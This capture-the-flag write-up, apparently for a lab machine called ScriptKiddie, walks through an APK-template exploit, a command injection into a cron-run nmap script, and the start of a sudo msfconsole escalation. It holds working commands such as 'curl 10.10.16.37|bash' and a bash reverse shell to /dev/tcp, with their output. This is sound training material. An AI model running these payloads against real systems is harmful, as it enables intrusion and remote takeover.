We see that the Web Server is using Werkzeug to handle the HTTP Requests and issue the respective HTTP Response
Since several Python-based Web Frameworks uses the Werkzeug library, we do not know exactly if we are facing Flask or another one
But, we can start thinking about Server Side Template Injection (SSTI) or Command Injection through certain calls to system functions using the os or subprocess libraries
Browser-Based Inspection
We do not know any valid domain or subdomain used as a Virtual host, so we can only request the Web Content delivered from the IP Address
http://10.129.95.150:5000
Note that we have three interesting sections β
Nmap (Top 100 Ports)
Payloads (Venom it Up)
Sploits (Searchsploit FTW)
Each of them has its own web form, so the user input is processed, some injection may occur in any of them
Nmap Section
It requests an IP Address in the form to scan the top 100 ports on that IP
We can test this feature by using tshark to intercept all incoming TCP Traffic from the remote machine
If it works correctly, we should receive traffic on the most commonly used TCP ports according to Nmap
Therefore, simply copy the content of thispython PoC and modify the payload parameter value as follows
payload = 'curl 10.10.16.37|bash'
Then, run the script to create the malicious APK file
python3 exploit.py
Command Output
[+] Manufacturing evil apkfilePayload: curl 10.10.16.37|bash-dname: CN='|echo MN2XE3BAGEYC4MJQFYYTMLRTG56GEYLTNA====== | base32 -d | sh # adding: empty (stored 0%)Generating 2,048 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 90 days for: CN="'|echo MN2XE3BAGEYC4MJQFYYTMLRTG56GEYLTNA====== | base32 -d | sh #"jar signed.Warning:The signer's certificate is self-signed.The SHA1 algorithm specified for the -digestalg option is considered a security risk and is disabled.The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk and is disabled.POSIX file permission and/or symlink attributes detected. These attributes are ignored when signing and are not protected by the signature.[+] Done! apkfile is at /tmp/tmp9n1wat73/evil.apkDo: msfvenom -x /tmp/tmp9n1wat73/evil.apk -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null
APK File Path β/tmp/tmp9n1wat73/evil.apk
Before upload the above file β
Create an index.html file with the following content β
nvim index.html
index.html
bash -i &> /dev/tcp/10.10.16.37/443 0>&1
And build a Simple HTTP Server using python
python3 -m http.server 80
All that remains is to set up a listener on port 443 and upload the malicious APK Template
listening on [any] 443 ...connect to [10.10.16.37] from (UNKNOWN) [10.129.95.150] 57634bash: cannot set terminal process group (935): Inappropriate ioctl for devicebash: no job control in this shellkid@scriptkiddie:~/html$
Shell as Web User
Once a connection via Reverse Shell is stablished, just proceed as follows to upgrade the obtained shell to a Fully Interactive TTY
If we list the existent directories in the /home directory β
ls /home
Command Output
kid pwn
There is another user called pwn
We can list all availabe resources in the kidβs home directory, but there is nothing such as a defined alias in .bashrc or a list of executed commands in .bash_history
However, there is a logs directory which is world-writable
We can list the resources in the pwn userβs home directory that we can read as the current user
We inspect its content to see what exactly it does
scanlosers.sh
#!/bin/bashlog=/home/kid/logs/hackerscd /home/pwn/cat $log | cut -d' ' -f3- | sort -u | while read ip; do sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &doneif [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
It parses the information contained within the specified log file called hackers located inside the previous mentioned world-writable directory
Specifically, it does the following actions β
Extract from the third columns to the end of every line of the log file β input | cut -d' ' -f3-
Remove the dupes β input | sort -u
Iterate through each line of the provided input β input | while read ip; do ... ; done
For each iteration, it runs an nmap command which scans the value of the line provided as input i.e. the output of the previous command
It therefore expects an ip for each line
The problem here is that the input is not being sanitized and the user running the script can control the provided input
Remember that others have write perms on the /home/kid/logs directory
Therefore, we could create a file called hacker and add a line to it that performs the following action β
Exit the Nmap execution context using a command separator such as ; or a subshell$( command )
Execute any command we want from the new context
Comment out the remaining part of the first command to avoid syntax errors
We have to take into account how the script parses the information contained within the log file
It takes from the third columns to the end of each line taking as separator a blank, so, in order to inject the command we want, we have to add two random chars separated by a blank before the mentioned command
It would be something like this β
x y ; ping -c1 10.10.16.37 #
or like this
x y ; $( ping -c1 10.10.16.37 ) #
But, before continue, we need to know who is running this script
To do this, we can transfer a pspy binary to the remote machine
From the Attacker
Download the pspy binary
curl --silent --location --request GET 'https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64' --output pspy64
Build a Simple HTTP Server with Python
python3 -m http.server 80
From the Target
Transfer the Binary and execute it
curl --silent --request GET --location 'http://10.10.16.37/pspy64' --output /dev/shm/pspy64
chmod 777 !$!$
While this binary is logging in the terminal all running processes, we can run the following command to add a line to the log file mentioned above
echo 'x y ; ping -c1 10.10.16.37 #' >> /home/kid/logs/hackers
As soon as the line is added, a scheduled task is executed, which triggers the following commands and actions
The /home/pwn/scanlosers.sh script is executed by the user identified by UID 1001
id 1001
Command Output
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
It is the pwn user
Therefore, if we inject an arbitrary command via the log file, when the pwn user executes the scanlosers.sh script, we will run system commands as pwn
So, we can do the PoC using a ping command to check if we receive an ICMP packet
If we do so, we can proceed by injecting the typical bash oneliner to send a reverse shell from the target to our machine
Therefore, we can use tcpdump to listen for icmp packets from the attacker
tcpdump --interface tun0 -v -n icmp
And inject the command into the log file by adding the following line β
echo 'x y ; ping -c1 10.10.16.37 #' >> /home/kid/logs/hackers
TCPDump Output
tcpdump: listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes20:58:21.769084 IP (tos 0x0, ttl 63, id 57763, offset 0, flags [DF], proto ICMP (1), length 84)10.129.95.150 > 10.10.16.37: ICMP echo request, id 11, seq 1, length 6420:58:21.769136 IP (tos 0x0, ttl 64, id 38002, offset 0, flags [none], proto ICMP (1), length 84)10.10.16.37 > 10.129.95.150: ICMP echo reply, id 11, seq 1, length 64
And we received them!
So, letβs leverage of the index.html created to share it through a Simple HTTP Server with python and inject a command requesting the content of this file and interpret its content with bash
index.html
bash -i &> /dev/tcp/10.10.16.37/443 0>&1
From the Attacker βοΈ
python3 -m http.server 80
nc -nvlp 443
From the Target π―
echo 'x y ; curl 10.10.16.37|bash #' >> /home/kid/logs/hackers
Simple HTTP Server Output
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...10.129.95.150 - - [07/Apr/2025 21:05:38] "GET / HTTP/1.1" 200 -
Netcat Output
listening on [any] 443 ...connect to [10.10.16.37] from (UNKNOWN) [10.129.95.150] 59338bash: cannot set terminal process group (805): Inappropriate ioctl for devicebash: no job control in this shellpwn@scriptkiddie:~$
And we received a reverse connection!
Privesc #2
Non-Privileged User β pwn
MSFConsole using Sudo
Again, first of all, we see which groups the current user belongs to
id
Command Output
uid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
Nothing interesting
Next, we check if the current user has any sudoers privileges assigned
sudo -l
Command Output
Matching Defaults entries for pwn on scriptkiddie: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser pwn may run the following commands on scriptkiddie: (root) NOPASSWD: /opt/metasploit-framework-6.0.9/msfconsolepwn@scriptkiddie:~$ iduid=1001(pwn) gid=1001(pwn) groups=1001(pwn)
And we have one!
This time we can run the binary /opt/metasploit-framework-6.0.9/msfconsole as root without providing a password for the user
It seems to be the full path of the msfconsole binary
command -V msfconsole
Command Output
msfconsole is /usr/local/bin/msfconsole
But itβs not, so we will have to specify the full path to the binary in order to run it as root without providing a password